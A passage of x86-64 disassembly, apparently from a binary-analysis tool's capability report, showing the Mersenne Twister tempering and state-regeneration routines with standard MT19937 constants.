mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 7
and eax, 0x9d2c5680
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 0xf
and eax, 0xefc60000
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shr eax, 0x12
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret

Function at 0x140036a30
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov qword [rsp + 8], 0x270
jmp 0x140036a51
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
cmp qword [rsp + 8], 0x4e0
jae 0x140036ad5
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 8]
mov eax, dword [rax + rcx*4 - 0x9bc]
and eax, 0x80000000
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
mov ecx, dword [rcx + rdx*4 - 0x9b8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp], eax
mov eax, dword [rsp]
and eax, 1
test eax, eax
je 0x140036aa0
mov dword [rsp + 4], 0x9908b0df
jmp 0x140036aa8
mov dword [rsp + 4], 0
mov eax, dword [rsp]
shr eax, 1
xor eax, dword [rsp + 4]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x140036a44
add rsp, 0x18
ret